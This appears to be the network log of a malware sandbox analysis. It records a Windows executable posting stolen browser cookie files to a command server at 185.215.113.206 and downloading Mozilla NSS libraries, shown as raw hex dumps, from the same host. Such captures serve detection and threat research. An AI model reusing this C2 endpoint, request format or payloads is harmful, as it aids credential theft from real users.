01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 22, 2024 17:08:33.410300970 CET	124	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 22, 2024 17:08:33.412650108 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49725	185.215.113.206	80	7928	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 17:08:42.700159073 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDHCBGHJEGHJJKFHIIE Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 48 43 42 47 48 4a 45 47 48 4a 4a 4b 46 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 31 63 39 61 62 30 64 63 35 63 30 30 62 63 63 32 38 65 62 39 64 66 63 37 61 32 38 34 37 64 65 65 63 62 65 63 38 62 39 38 32 36 32 30 38 30 35 66 63 35 31 61 32 63 36 39 32 35 35 38 65 30 35 33 64 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 43 42 47 48 4a 45 47 48 4a 4a 4b 46 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 43 42 47 48 4a 45 47 48 4a 4a 4b 46 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------IJDHCBGHJEGHJJKFHIIEContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------IJDHCBGHJEGHJJKFHIIEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IJDHCBGHJEGHJJKFHIIEContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IJDHCBGHJEGHJJKFHIIE--
Nov 22, 2024 17:08:44.695384026 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:08:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 17:08:44.779659986 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIJEBAECGCBKECAAAEB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 31 63 39 61 62 30 64 63 35 63 30 30 62 63 63 32 38 65 62 39 64 66 63 37 61 32 38 34 37 64 65 65 63 62 65 63 38 62 39 38 32 36 32 30 38 30 35 66 63 35 31 61 32 63 36 39 32 35 35 38 65 30 35 33 64 31 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="file"------GIIJEBAECGCBKECAAAEB--
Nov 22, 2024 17:08:45.749958038 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:08:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49747	185.215.113.206	80	7928	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 17:08:51.804874897 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHJECAFIDAFHJKFCGHI Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 22, 2024 17:08:51.804965019 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 Data Ascii: ------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 22, 2024 17:08:53.532862902 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:08:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 17:08:53.805866003 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJKKKFIIJJKJKFIECBF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4b 4b 46 49 49 4a 4a 4b 4a 4b 46 49 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 35 33 62 62 31 63 39 61 62 30 64 63 35 63 30 30 62 63 63 32 38 65 62 39 64 66 63 37 61 32 38 34 37 64 65 65 63 62 65 63 38 62 39 38 32 36 32 30 38 30 35 66 63 35 31 61 32 63 36 39 32 35 35 38 65 30 35 33 64 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4b 4b 46 49 49 4a 4a 4b 4a 4b 46 49 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4b 4b 46 49 49 4a 4a 4b 4a 4b 46 49 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHJKKKFIIJJKJKFIECBFContent-Disposition: form-data; name="token"9753bb1c9ab0dc5c00bcc28eb9dfc7a2847deecbec8b982620805fc51a2c692558e053d1------EHJKKKFIIJJKJKFIECBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHJKKKFIIJJKJKFIECBFContent-Disposition: form-data; name="file"------EHJKKKFIIJJKJKFIECBF--
Nov 22, 2024 17:08:54.769109964 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:08:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 17:08:55.266385078 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 17:08:55.712541103 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:08:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 22, 2024 17:08:55.712603092 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 22, 2024 17:08:55.712615013 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 22, 2024 17:08:55.712630033 CET	372	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 22, 2024 17:08:55.712636948 CET	1236	IN	Data Raw: 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 f8 1f 80 7c 32 f1 01 f7 d0 19 d2 09 c2 21 da 21 fa b8 07 00 00 00 29 c8 c1 f8 1f f7 d0 8b 4d 1c 80 7c 31 f0 01 19 c9 09 c1 85 ca 74 2f 8b 45 10 Data Ascii: !)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjS
Nov 22, 2024 17:08:55.712683916 CET	1236	IN	Data Raw: 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 00 85 ff 89 4d ec 89 55 f0 74 48 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 68 0c 01 00 00 6a 00 56 e8 34 fc 07 00 83 c4 0c eb 25 85 ff Data Ascii: UM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>
Nov 22, 2024 17:08:55.712698936 CET	448	IN	Data Raw: 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb 00 01 00 00 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 8b 75 0c 56 ff 75 08 57 e8 ac f7 07 00 83 c4 0c 01 f7 29 f3 39 f3 77 e8 53 ff 75 08 57 e8 Data Ascii: hh !Vf.@uVuW)9wSuWT>\>=t%>>fM1^_[]U}th
Nov 22, 2024 17:08:55.712768078 CET	1236	IN	Data Raw: 14 00 d4 0f b6 cc 8a 13 32 14 0f 8b 4d e4 88 11 83 fe 01 0f 84 24 01 00 00 8b 45 ec 04 02 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 01 32 14 0f 8b 4d e4 88 51 01 83 fe 02 0f 84 e8 Data Ascii: 2M$E}$7$7u]S2MQE}$7$7u]S2MQE}$7$7u]S2MQttE}$7$7u]S
Nov 22, 2024 17:08:55.712781906 CET	1236	IN	Data Raw: e0 00 00 00 00 8b 4d ec 8a 55 e8 e9 54 01 00 00 0f b6 46 01 c1 e0 08 09 c1 83 fa 02 74 09 0f b6 46 02 c1 e0 10 09 c1 89 4d e0 8a 55 e8 8b 45 d0 8b 4d ec 83 c7 04 e9 29 01 00 00 66 0f ef c9 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef d2 f6 c2 01 0f 84 Data Ascii: MUTFtFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbff
Nov 22, 2024 17:08:55.721235991 CET	1236	IN	Data Raw: 00 00 88 98 01 01 00 00 e9 74 fe ff ff 89 f8 89 cf 83 7d d8 00 0f 85 fd fd ff ff 8b 45 f0 89 f9 88 88 00 01 00 00 88 90 01 01 00 00 e9 50 fe ff ff 8b 45 ec 04 07 89 45 ec 0f b6 c0 8b 7d f0 8a 0c 07 00 ce 0f b6 f6 8a 2c 37 88 2c 07 88 0c 37 00 cd Data Ascii: t}EPEE},7,7E@2CM.USWV\2tRAA q$]QD1A@1RQP5}
Nov 22, 2024 17:08:57.370090961 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 17:08:57.828073025 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:08:57 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 22, 2024 17:08:58.715612888 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 17:08:59.165739059 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:08:58 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 22, 2024 17:08:59.839456081 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 17:09:00.285832882 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:00 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 22, 2024 17:09:03.464952946 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 17:09:03.911880970 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 22, 2024 17:09:04.576416016 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 22, 2024 17:09:05.029206038 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 